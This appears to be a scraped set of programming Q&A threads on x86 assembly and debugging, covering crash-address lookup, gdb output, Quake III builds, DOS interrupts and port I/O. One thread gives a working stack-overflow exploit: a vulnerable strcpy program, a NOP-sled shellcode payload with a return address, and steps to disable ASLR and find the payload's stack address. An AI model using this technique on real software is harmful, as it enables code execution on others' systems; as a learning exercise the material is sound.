I've got a software application which some users report reliably crashes in certain situations. I can't reproduce it on any of the machines I've got so I'm feeling pretty stuck as to how to solve it.
A user posted me the assembly line where the crash happens, like this:
00505e58 1000 adc [eax],al
00505e5a cc int 3
00505e5b cc int 3
00505e5c cc int 3
00505e5d cc int 3
00505e5e cc int 3
00505e5f cc int 3
00505e60 55 push ebp
00505e61 8bec mov ebp,esp
00505e63 83ec1c sub esp,0x1c
FAULT -> 00505e66 ff4f08 dec dword ptr [edi+0x8] ds:0023:00000008=????????
00505e69 53 push ebx
00505e6a 56 push esi
00505e6b 0f85b0000000 jne Construct2+0x105f21 (00505f21)
00505e71 8d9894010000 lea ebx,[eax+0x194]
00505e77 8d45f0 lea eax,[ebp-0x10]
00505e7a 8bcb mov ecx,ebx
00505e7c e8ef4ff1ff call Construct2+0x1ae70 (0041ae70)
00505e81 8d45e4 lea eax,[ebp-0x1c]
00505e84 8bcb mov ecx,ebx
00505e86 e88580fdff call Construct2+0xddf10 (004ddf10)
I'm using Visual Studio 2010 and have my .pdbs for the build I gave the user. Is it possible to turn this assembly trace in to the faulting code line?
If you could get a full crash dump of your app when it crashes, then you could bring up the dmp in either windbg or Visual Studio and debug with source code rather easily. There's plenty of info on the web for getting a dump and debugging. For example, if you have a dump and matching pdb and bring thsi up in windbg, you can just do a ".lines" and see exactly where this is happening.
If you don't have a dump, then one way to do this is to run your app locally and look at the code at this address. It looks like your app, which I'm assuming is Construct2.exe, starts off at a base address of 0x0040000 and you're crashing at 0x00505E66 where EDI is 0. So if you flip to diassembly view, go to this address (or set a bp) then look at the source and you're good to go.
Related
Occasionally I want to analyse the assembler produced by gcc for a function, and have long used a little script that fires up gdb with expect, fetches the disassembly, and postprocesses the result to turn it into something approximating readable assembly code.
However gdb output appears to have changed - I'm now using Ubuntu's gdb-10.2 - such that a short way through the output switches from showing locations as positive offsets from the named function to negative offsets from what I assume is the next symbol:
Dump of assembler code for function S_group_end:
0x00000000001d6320 <+0>: push %r13
0x00000000001d6322 <+2>: push %r12
...
0x00000000001d63cf <+175>: call 0xf0450 <Perl_croak>
0x00000000001d63d4 <+180>: nopl 0x0(%rax)
0x00000000001d63d8 <-1176>: cmp %rcx,%rbx
0x00000000001d63db <-1173>: jbe 0x1d6452 <S_next_symbol-1054>
...
In this case they appear to be relative to the (coincidentally named) S_next_symbol, but there's no indication of that (and it is not emitting S_next_symbol itself as a label).
Is there an option to revert the output style to what it was before (eg <S_group_end+184>), or some other way to make this output more readily parsable?
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I need help compiling the source code for Quake III Arena. I'm using the version provided by ID Software's Github account (https://github.com/id-Software/Quake-III-Arena). I'm trying to compile it in VS2015, is that a problem? It converts the project without any issues. However, when I compile, all I get is a black screen and a messed up color scheme. The debugger tells me the problem is in this funcion:
#ifdef _WIN32
__asm {
pushad
mov esi, programStack;
mov edi, opStack
call entryPoint
mov programStack, esi
mov opStack, edi
popad
}
More precisely, in the line mov programStack, esi. Any ideas? I'm trying to make a game with this engine, since it's basically the "mother" of all Fpses today :D
Any help is appreciated.
Make sure to clean all the projects in VS2015, and to the quake3 project add the following command line agruments:
+set sv_pure 0 +set vm_game 0 +set vm_cgame 0 +set vm_ui 0
Also, make sure to copy the baseq3 folder from your Quake 3 arena game into the Quake-III-Arena/code folder.
A quick question here:
I'm trying to experiment with inline assembly using Embarcadero C++ Builder XE3 on 32-bit Windows 7, specifically to start re-teaching myself assembly with the possibility of future pragmatic application.
So far I've been able to write a set of instructions within a simple console project which compiles fine using all C++ Builder syntax at my disposal:
int _tmain(int argc, _TCHAR* argv[]) {
_asm{
mov dl, 0x24
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x25
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x26
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
mov dl, 0x27
mov ah, 2 // Print character
int 0x21 // Dos Interrupt - Run operation in AH
int 0x20 // terminate COM
}
return 0;
}
This compiles ok, and these instructions work straight in NASM and the Windows native DEBUG environment. What I expect is a simple write to the console: $%&' followed by a successful termination.
However, when I try to run Project1.exe via the command line I immediately get a standard Win7 runtime error popup which disappears after a few seconds and terminates the program.
Running with debugging, I seem to be successfully reaching the first int 0x21 before it hangs, at which point Borland gives me the message:
Project Project1.exe raised exception class $C00000005 with message 'access violation at 0x00401213: read of address 0xffffffff'.
My theory is that I'm not properly initializing the segment with a 256-byte offset (NASM would use something like org 0x100 at the beginning of the instruction set). But I'm not entirely sure that's the issue.
Any ideas?
Those int 0x21 instructions are for MS-DOS and not Windows. They mean something else in a Windows program, with the result that you go up in flames.
I work primarily in C++ Builder, But I've also programmed assembly and nasm for production code (mainly on micros). My recommendation is not to go near C++ builder for anything you don't have to. Learning can be an art and the way you go about learning has a lot to do with the outcome. C++ Builder integration with assembly is a detour through South Compton. Even though it may not be the way you normally work, it will pay off big time to learn nasm in pure command line.
I am trying to export a .dll file and trying to use it in my c# application to write a data to a port. In my .cpp file (to create a .dll) if I use "out" command it gives "error C2415: improper operand type" error message. Do you have any idea why i cannot use this "out" command? ("mov" command is working well btw)
See my code below:
#include <stdio.h>
extern "C" __declspec(dllexport) void enableWatchDog()
_asm {
out 66,41
out 62,4
}
}
out has six forms:
out imm8, AL
out imm8, AX
out imm8, EAX
out DX, AL
out DX, AX
out DX, EAX
Your usages match none of them. Perhaps this would work (not tested):
mov al, 41
out 66, al
mov al, 4
out 62, al
I don't have too much experience with IO ports on x86, but from what I've been able to find, 66 and 62 seem a little suspicious to me. Shouldn't they be 66h and 62h? 41h (could be two flags set, or ASCII 'A') also makes a little more sense to me than 41 (a rather arbitrary number).
Assembly is not a high level language, where you can plug an arbitrary expression anywhere. The out command can only take an Ax register for a second operand, where Ax means AL, AX, or EAX. So reformulate like this:
mov al, 41
out 66, al
mov al, 4
out 62, al
The out command is privileged; it only works in kernel level drivers on Windows, trying to do it in a regular program will get you an "Invalid operation" error.
What target platform are you using for your C++ dll? You need to compile to x86 code, not CLR.